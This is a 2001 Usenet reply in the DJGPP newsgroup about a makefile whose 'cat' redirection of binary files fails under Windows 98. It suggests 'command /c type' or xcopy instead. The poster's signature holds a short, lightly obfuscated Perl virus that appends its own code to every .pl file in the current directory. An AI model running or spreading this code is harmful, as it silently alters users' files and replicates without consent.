From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: problem with cat redirection in a makefile References: X-newsgroup: comp.os.msdos.djgpp X-realname: drososa AT pat DOT forthnet DOT gr X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Thu, 19 Apr 2001 23:46:34 +0200 Lines: 58 NNTP-Posting-Host: 213.7.27.52 X-Trace: 987763209 news.freenet.de 12250 213.7.27.52 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com drososa AT pat DOT forthnet DOT gr wrote: > Hi > > Problem: In a project makefile there is a need to concatenate two binary > files together, so the cat command is used. What is observed is that this > command sometimes works and most often not. When it doesn't, the binary > characters of the two files are dumped on screen. > > Environment: MS-DOS Prompt window in Windows 98 second edition. > > Here is a makefile sample that duplicates the problem. The files involved > can be any binary files. > ------------------------- > MAINEXE = image > COPY = cat > > > all: $(MAINEXE).elf > > $(MAINEXE).elf: > $(COPY) signram.atm $(MAINEXE).bin > $(MAINEXE)_ram.bin > ------------------------- > > Trying the "copy /b" dos equivalent with the appropriate syntax change (i.e. > copy /b file1+file2 file3), I get the error message > > make.exe: *** [image.elf] Error -1 > > Trying to find the dos or windows executable copy.exe it appears that it > does not exist. Perhaps it is included in some command.com file somewhere. > > If it matters, my path is > PATH= > C:\DJGPP\BIN;C:\DJGPP\JED\BIN;C:\BIN;C:\PYTHON20;C:\WINDOWS;C:\WINDOWS\COMMAND > > I have also tried putting the C:\WINDOWS\COMMAND entry at the PATH beginning but > the behaviour is still the same. Have also tried playing with the window > settings such as memory and environment with no success. > > Can anyone shed some light on this? Does replacing cat with command /c type work? If not, use xcopy. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################